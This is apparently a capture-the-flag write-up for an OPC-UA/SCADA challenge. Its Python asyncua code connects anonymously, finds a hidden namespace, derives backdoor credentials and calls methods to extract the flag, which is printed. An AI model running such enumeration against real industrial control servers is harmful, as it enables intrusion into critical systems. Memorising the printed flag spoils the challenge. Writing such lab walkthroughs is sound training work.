## Description
|
|
|
|
After the KIDS incident, forensic investigators found an OPC-UA server still running on
|
|
the isolated SCADA segment at Tachibana General Laboratories.
|
|
|
|
The server allows anonymous connections. Beneath the standard industrial data, there is a
|
|
hidden namespace registered by Eiri Masami before his termination.
|
|
|
|
Browse the address space. Find the hidden namespace. There is a method that was never meant
|
|
to be called.
|
|
|
|
- OPC-UA Binary: `tcp/<host>:4840`
|
|
|
|
Format: **ESPILON{flag}**
|
|
|
|
---
|
|
|
|
## TL;DR
|
|
|
|
Connect anonymously to the OPC-UA server. Read the namespace array to find the hidden
|
|
`urn:tachibana:eiri:kids` namespace. Browse it to find `Backdoor/Authenticate` and
|
|
`Backdoor/ExtractResearchData` methods. Derive credentials from the namespace URI
|
|
(username=`eiri`, key_hash=`SHA256("KIDS")[:16]`). Call Authenticate, then call
|
|
ExtractResearchData with `project_id=7` to get the flag.

## Tools
|
|
|
|
| Tool | Purpose |
|
|
|------|---------|
|
|
| Python 3 + `asyncua` | OPC-UA async client |
|
|
| Python 3 + `hashlib` | SHA-256 key hash derivation |
|
|
|
|

|
|
|
|
## Solution
|
|
|
|
### Step 1 — Connect anonymously
|
|
|
|
```python
|
|
import asyncio
|
|
from asyncua import Client
|
|
|
|
async def exploit():
|
|
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
|
|
# Step 2: discover namespaces
|
|
ns_array = await c.get_namespace_array()
|
|
print(ns_array)
|
|
```
|
|
|
|
```
|
|
['http://opcfoundation.org/UA/',
|
|
'urn:tachibana:scada', ← public SCADA data
|
|
'urn:tachibana:eiri:kids'] ← HIDDEN namespace
|
|
```
|
|
|
|
|
|
|
|
### Step 2 — Browse the public namespace (ns=2)
|
|
|
|
Standard SCADA data: power distribution, cooling systems, Wired Interface Array.
|
|
Note `Resonance_Hz = 7.83` — a Schumann resonance breadcrumb.
|
|
|
|
### Step 3 — Browse the hidden namespace (ns=3)
|
|
|
|
```python
|
|
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
|
|
ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
|
|
root = c.nodes.root
|
|
|
|
eiri = await root.get_child([f"0:Objects", f"{ns}:EiriMasami"])
|
|
kids = await eiri.get_child(f"{ns}:KIDS_Project")
|
|
bkdr = await eiri.get_child(f"{ns}:Backdoor")
|
|
|
|
# Variables inside KIDS_Project
|
|
subject_count = await (await kids.get_child(f"{ns}:SubjectCount")).get_value()
|
|
protocol7_version = await (await kids.get_child(f"{ns}:Protocol7_Version")).get_value()
|
|
# Protocol7_Version = "7.0.0-alpha" → project_id = 7
|
|
|
|
# Methods inside Backdoor
|
|
auth_method = await bkdr.get_child(f"{ns}:Authenticate")
|
|
extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
|
|
```
|
|
|
|
|
|
|
|
### Step 4 — Read method argument descriptions
|
|
|
|
`Authenticate(username: String, key_hash: ByteString) -> session_token: String`
|
|
|
|
The `key_hash` InputArguments description says:
|
|
*"16-byte truncated SHA-256 of the project name"*
|
|
|
|
### Step 5 — Derive credentials
|
|
|
|
- **username**: `eiri` — from the namespace URI `urn:tachibana:eiri:kids`
|
|
- **key_hash**: SHA-256 of the project name, truncated to 16 bytes
|
|
|
|
```python
|
|
import hashlib
|
|
|
|
# Project name = "KIDS" — from the namespace path urn:tachibana:eiri:kids
|
|
key_hash = hashlib.sha256(b"KIDS").digest()[:16]
|
|
```
|
|
|
|
|
|
|
|
### Step 6 — Authenticate
|
|
|
|
```python
|
|
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
|
|
ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
|
|
bkdr = await c.nodes.root.get_child(
|
|
[f"0:Objects", f"{ns}:EiriMasami", f"{ns}:Backdoor"])
|
|
|
|
auth_method = await bkdr.get_child(f"{ns}:Authenticate")
|
|
result = await c.nodes.root.call_method(
|
|
auth_method, "eiri", key_hash)
|
|
session_token = result[0]
|
|
print(f"Token: {session_token}")
|
|
```
|
|
|
|
### Step 7 — Extract Protocol Seven (project_id=7)
|
|
|
|
```python
|
|
extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
|
|
data = await c.nodes.root.call_method(
|
|
extract_method, session_token, 7)
|
|
print(data[0]) # ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}
|
|
```
|
|
|
|
|
|
|
|
### Key insights
|
|
|
|
- Namespace URI `urn:tachibana:eiri:kids` directly embeds both the username (`eiri`)
|
|
and the hash source (`kids`)
|
|
- `Protocol7_Version = "7.0.0-alpha"` encodes `project_id = 7`
|
|
- Anonymous OPC-UA access is a real-world ICS misconfiguration — no authentication required
|
|
- Method argument `description` properties provide all hints needed
